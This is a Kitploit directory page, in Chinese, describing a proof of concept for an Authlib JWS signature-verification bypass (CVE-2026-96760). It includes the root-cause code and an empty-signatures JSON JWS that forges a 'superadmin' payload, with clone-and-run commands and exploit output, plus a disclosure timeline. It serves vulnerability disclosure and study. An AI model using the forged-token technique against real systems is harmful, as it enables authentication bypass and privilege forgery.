Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-96760 — Authlib 1.7.2:签名验证绕过——当 `signatures` 为空时,通用 JSON JWS 接受未签名载荷 | Kitploit
工具/GitHubGitHub/uziii2208/cve-2026-96760
漏洞分析代码分析漏洞利用Web安全密码学身份验证学习与教育
GitHubuziii2208/cve-2026-96760

CVE-2026-96760

Authlib 1.7.2:签名验证绕过——当 `signatures` 为空时,通用 JSON JWS 接受未签名载荷

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-96760 - Authlib JWS 签名验证绕过 PoC

针对 Authlib 的 authlib.jose 模块中签名验证绕过的概念验证。JsonWebSignature.deserialize_json() 接受一个带有空 signatures 数组的 General JSON JWS 对象,并将攻击者控制的 payload 作为验证成功的结果返回——无需密钥,不检查签名。

漏洞

受影响: Authlib ≤ 1.7.2,authlib.jose 模块 不受影响: 紧凑 JWT 路径(jwt.decode())。此缺陷特定于 JSON 序列化 JWS API。 CWE: CWE-347(加密签名验证不当)、CWE-670、CWE-358 状态: 在 1.7.x 中未修补——authlib.jose 模块在 Authlib 1.8 中被完全移除,而非修复。任何锁定在 1.8 以下的部署仍然暴露。

根本原因

# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True                                  # starts True
for header_obj in obj["signatures"]:             # zero iterations when signatures = []
    jws_header, valid = self._validate_json_jws(
        payload_segment, payload, header_obj, key
    )
    headers.append(jws_header)
    if not valid:
        is_valid = False

rv = JWSObject(headers, payload, "json")
if is_valid:
    return rv                                    # attacker payload returned as verified
raise BadSignatureError(rv)

is_valid 被初始化为 True,并且只会在循环体内被翻转。当 signatures 为 [] 时,循环执行零次,不会执行任何验证逻辑,函数便返回成功——这是一个典型的空真(vacuous-truth)缺陷。两个公开入口点都受到影响:

jws.deserialize_json({"payload": "...", "signatures": []}, key)  # direct
jws.deserialize('{"payload": "...", "signatures": []}', key)     # generic dispatcher

影响

任何通过 deserialize_json() 或 deserialize() 验证攻击者可控的 JSON JWS 输入的应用程序,都会失去对该输入的真实性/完整性保证:

  • 身份验证绕过 - 伪造 sub、role、会话声明
  • 服务间信任绕过 - 在交换 JSON JWS 的服务之间注入任意消息
  • 授权伪造 - 捏造 scope、tenant、permissions 声明

用法

git clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py

预期输出

=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
  "payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
  "signatures": [
    {
      "protected": "eyJhbGciOiJIUzI1NiJ9",
      "signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
    }
  ]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'

=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:

=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
  "payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
  "signatures": []
}

[X VULNERABLE] Verification succeeded WITHOUT any signature!
    Payload  : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
    Headers  : []
    Type     : json

    → Attacker fully controls payload content
    → Application trusts payload as signed by trusted party

这三个用例精确地隔离了该缺陷:使用错误密钥的真实签名被正确拒绝,使用正确密钥的真实签名被正确接受,而空签名列表——本应是最应被拒绝的情况——却被静默接受。

披露时间线

  • 报告给 Authlib 维护者:7 月 28 日
  • 维护者以 authlib.jose 已弃用为由关闭(未发布修复):7 月 30 日
  • 分配 CVE-2026-96760:CERT/CC,2026-09-23 预留,2026-09-28 发布
  • authlib.jose 在 Authlib 1.8 中被移除(未作为修复回移植)

致谢

由 uziii2208 和 nguyenminhtuan28 发现并报告。

免责声明

本 PoC 出于教育和防御目的发布——旨在帮助维护者、安全团队和下游用户理解并修复该问题。请勿用于未经您拥有或未获得明确授权测试的系统。

下载工具